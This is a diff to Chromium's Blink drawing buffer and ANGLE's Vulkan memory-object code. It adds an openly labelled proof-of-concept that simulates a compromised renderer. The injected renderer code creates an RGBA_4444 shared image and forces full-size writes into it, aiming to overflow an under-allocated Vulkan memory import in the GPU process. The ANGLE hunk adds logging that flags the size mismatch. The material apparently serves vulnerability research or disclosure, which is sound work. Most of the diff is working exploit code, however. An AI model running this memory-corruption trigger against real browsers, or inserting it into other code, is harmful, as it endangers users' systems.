diff --git a/third_party/blink/renderer/platform/graphics/gpu/drawing_buffer.cc b/third_party/blink/renderer/platform/graphics/gpu/drawing_buffer.cc
index c827786fb60ae..55f5d66c31bb9 100644
--- a/third_party/blink/renderer/platform/graphics/gpu/drawing_buffer.cc
+++ b/third_party/blink/renderer/platform/graphics/gpu/drawing_buffer.cc
@@ -2053,6 +2053,67 @@ scoped_refptr<DrawingBuffer::ColorBuffer> DrawingBuffer::CreateColorBuffer(
 
   gpu::SharedImageInterface* sii = ContextProvider()->SharedImageInterface();
 
+  // ========================================================================
+  // POC INJECTION: Compromised-renderer simulation.
+  // Sends CreateSharedImage(RGBA_4444) + CreateAndTexStorage2DSharedImage to
+  // the GPU process. On a Vulkan driver where R4G4B4A4_UNORM_PACK16 lacks
+  // FILTER_LINEAR, the GPU process allocates a 2bpp VkImage but ANGLE binds
+  // a 4bpp R8G8B8A8 image to the same FD-imported memory.
+  // ========================================================================
+  static bool poc_ran = false;
+  if (!poc_ran && sii && gl_) {
+    poc_ran = true;
+    fprintf(stderr, "[POC] renderer: creating RGBA_4444 SharedImage 1024x1024\n");
+    const gfx::Size poc_size(1024, 1024);
+    gpu::SharedImageUsageSet poc_usage = gpu::SHARED_IMAGE_USAGE_GLES2_READ |
+                                         gpu::SHARED_IMAGE_USAGE_GLES2_WRITE |
+                                         gpu::SHARED_IMAGE_USAGE_DISPLAY_READ;
+    auto poc_si = sii->CreateSharedImage(
+        {viz::SinglePlaneFormat::kRGBA_4444, poc_size, gfx::ColorSpace::CreateSRGB(),
+         kTopLeft_GrSurfaceOrigin, kPremul_SkAlphaType, poc_usage,
+         "POC_RGBA4444"},
+        gpu::kNullSurfaceHandle);
+    if (poc_si) {
+      fprintf(stderr,
+              "[POC] renderer: SharedImage created, producing GL texture\n");
+      std::unique_ptr<gpu::SharedImageTexture> poc_tex =
+          poc_si->CreateGLTexture(gl_);
+      if (poc_tex) {
+        auto poc_access = poc_tex->BeginAccess(gpu::SyncToken(),
+                                               /*readonly=*/false);
+        GLuint poc_tex_id = poc_access->texture_id();
+        fprintf(stderr,
+                "[POC] renderer: GL texture id=%u, clearing via framebuffer "
+                "(triggers full-image write in GPU process)\n",
+                poc_tex_id);
+        GLuint poc_fbo = 0;
+        gl_->GenFramebuffers(1, &poc_fbo);
+        gl_->BindFramebuffer(GL_FRAMEBUFFER, poc_fbo);
+        gl_->FramebufferTexture2D(GL_FRAMEBUFFER, GL_COLOR_ATTACHMENT0,
+                                  GL_TEXTURE_2D, poc_tex_id, 0);
+        gl_->ClearColor(1.0f, 0.5f, 0.25f, 1.0f);
+        gl_->Clear(GL_COLOR_BUFFER_BIT);
+        // Also drive a TexSubImage2D upload (vkCmdCopyBufferToImage path).
+        gl_->BindTexture(GL_TEXTURE_2D, poc_tex_id);
+        std::vector<uint8_t> poc_pixels(
+            static_cast<size_t>(poc_size.width()) * poc_size.height() * 4, 0xAB);
+        gl_->TexSubImage2D(GL_TEXTURE_2D, 0, 0, 0, poc_size.width(),
+                           poc_size.height(), GL_RGBA, GL_UNSIGNED_BYTE,
+                           poc_pixels.data());
+        gl_->Finish();
+        gl_->DeleteFramebuffers(1, &poc_fbo);
+        gpu::SharedImageTexture::ScopedAccess::EndAccess(std::move(poc_access));
+        fprintf(stderr, "[POC] renderer: done\n");
+      } else {
+        fprintf(stderr, "[POC] renderer: CreateGLTexture failed\n");
+      }
+    } else {
+      fprintf(stderr, "[POC] renderer: CreateSharedImage failed\n");
+    }
+    gl_->Flush();
+  }
+  // ========================================================================
+
   scoped_refptr<gpu::ClientSharedImage> back_buffer_shared_image;
 
   // The SharedImages created here are read to and written from by WebGL. They
diff --git a/third_party/angle/src/libANGLE/renderer/vulkan/MemoryObjectVk.cpp b/third_party/angle/src/libANGLE/renderer/vulkan/MemoryObjectVk.cpp
index 525598c69e..d8cad04a88 100644
--- a/third_party/angle/src/libANGLE/renderer/vulkan/MemoryObjectVk.cpp
+++ b/third_party/angle/src/libANGLE/renderer/vulkan/MemoryObjectVk.cpp
@@ -221,6 +221,19 @@ angle::Result MemoryObjectVk::createImage(
     VkMemoryRequirements externalMemoryRequirements;
     image->getImage().getMemoryRequirements(renderer->getDevice(), &externalMemoryRequirements);
 
+    // POC DIAGNOSTIC (observability only — does not alter control flow):
+    fprintf(stderr,
+            "[POC] MemoryObjectVk::createImage: GL internalFormat=0x%X "
+            "intendedFormatID=%d actualFormatID=%d "
+            "imported mSize=%llu vkMemReq.size=%llu %s\n",
+            internalFormat, static_cast<int>(intendedFormatID),
+            static_cast<int>(actualFormatID),
+            static_cast<unsigned long long>(mSize),
+            static_cast<unsigned long long>(externalMemoryRequirements.size),
+            (externalMemoryRequirements.size > mSize)
+                ? ">>> SIZE MISMATCH (under-allocated import) <<<"
+                : "");
+
     const void *importMemoryInfo                              = nullptr;
     VkMemoryDedicatedAllocateInfo memoryDedicatedAllocateInfo = {};
     if (mDedicatedMemory)